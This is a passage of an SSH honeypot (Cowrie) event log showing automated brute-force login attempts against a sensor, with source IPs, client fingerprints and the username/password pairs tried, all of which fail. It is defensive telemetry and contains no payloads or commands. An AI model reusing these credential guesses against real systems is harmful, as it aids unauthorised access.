{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:17.859949Z","src_ip":"5.196.136.131","session":"f1b8068aa521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:18.103150Z","src_ip":"5.196.136.131","session":"f1b8068aa521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:19.181163Z","src_ip":"5.196.136.131","session":"f1b8068aa521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.191.141.115","src_port":52420,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c78144998a9","protocol":"ssh","message":"New connection: 185.191.141.115:52420 (10.17.0.5:22) [session: 7c78144998a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:20.363550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:20.367683Z","src_ip":"185.191.141.115","session":"7c78144998a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:20.537481Z","src_ip":"185.191.141.115","session":"7c78144998a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2024","message":"login attempt [root/unitedstates2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:21.025802Z","src_ip":"185.191.141.115","session":"7c78144998a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:22.219984Z","src_ip":"185.191.141.115","session":"7c78144998a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57396,"dst_ip":"10.17.0.5","dst_port":22,"session":"3153707d516c","protocol":"ssh","message":"New connection: 5.196.136.131:57396 (10.17.0.5:22) [session: 3153707d516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:22.247905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:22.251822Z","src_ip":"5.196.136.131","session":"3153707d516c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:22.329139Z","src_ip":"5.196.136.131","session":"3153707d516c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:22.565490Z","src_ip":"5.196.136.131","session":"3153707d516c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:23.646315Z","src_ip":"5.196.136.131","session":"3153707d516c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24302,"dst_ip":"10.17.0.5","dst_port":22,"session":"742d70fc1fbc","protocol":"ssh","message":"New connection: 5.196.136.131:24302 (10.17.0.5:22) [session: 742d70fc1fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:26.704626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:26.708038Z","src_ip":"5.196.136.131","session":"742d70fc1fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:26.786386Z","src_ip":"5.196.136.131","session":"742d70fc1fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:27.025594Z","src_ip":"5.196.136.131","session":"742d70fc1fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:28.106558Z","src_ip":"5.196.136.131","session":"742d70fc1fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60433,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ab5bd25efc","protocol":"ssh","message":"New connection: 5.196.136.131:60433 (10.17.0.5:22) [session: a1ab5bd25efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.148309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.151252Z","src_ip":"5.196.136.131","session":"a1ab5bd25efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.227107Z","src_ip":"5.196.136.131","session":"a1ab5bd25efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42680,"dst_ip":"159.203.135.109","dst_port":22,"session":"393463999480","protocol":"ssh","message":"New connection: 103.122.221.179:42680 (159.203.135.109:22) [session: 393463999480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.413332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.417421Z","src_ip":"103.122.221.179","session":"393463999480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.454916Z","src_ip":"5.196.136.131","session":"a1ab5bd25efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:31.674937Z","src_ip":"103.122.221.179","session":"393463999480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28091981","message":"login attempt [root/28091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:32.450479Z","src_ip":"103.122.221.179","session":"393463999480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:32.532965Z","src_ip":"5.196.136.131","session":"a1ab5bd25efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:33.710139Z","src_ip":"103.122.221.179","session":"393463999480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60617,"dst_ip":"10.17.0.5","dst_port":22,"session":"5279e7636717","protocol":"ssh","message":"New connection: 5.196.136.131:60617 (10.17.0.5:22) [session: 5279e7636717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:35.531940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:35.535774Z","src_ip":"5.196.136.131","session":"5279e7636717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:35.612531Z","src_ip":"5.196.136.131","session":"5279e7636717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:35.884512Z","src_ip":"5.196.136.131","session":"5279e7636717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:36.962889Z","src_ip":"5.196.136.131","session":"5279e7636717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30459,"dst_ip":"10.17.0.5","dst_port":22,"session":"163a94925759","protocol":"ssh","message":"New connection: 5.196.136.131:30459 (10.17.0.5:22) [session: 163a94925759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:39.932889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:39.936364Z","src_ip":"5.196.136.131","session":"163a94925759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:40.014024Z","src_ip":"5.196.136.131","session":"163a94925759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:40.290536Z","src_ip":"5.196.136.131","session":"163a94925759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:41.372514Z","src_ip":"5.196.136.131","session":"163a94925759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d055e4d0cf","protocol":"ssh","message":"New connection: 5.196.136.131:36050 (10.17.0.5:22) [session: d5d055e4d0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:44.392299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:44.395982Z","src_ip":"5.196.136.131","session":"d5d055e4d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 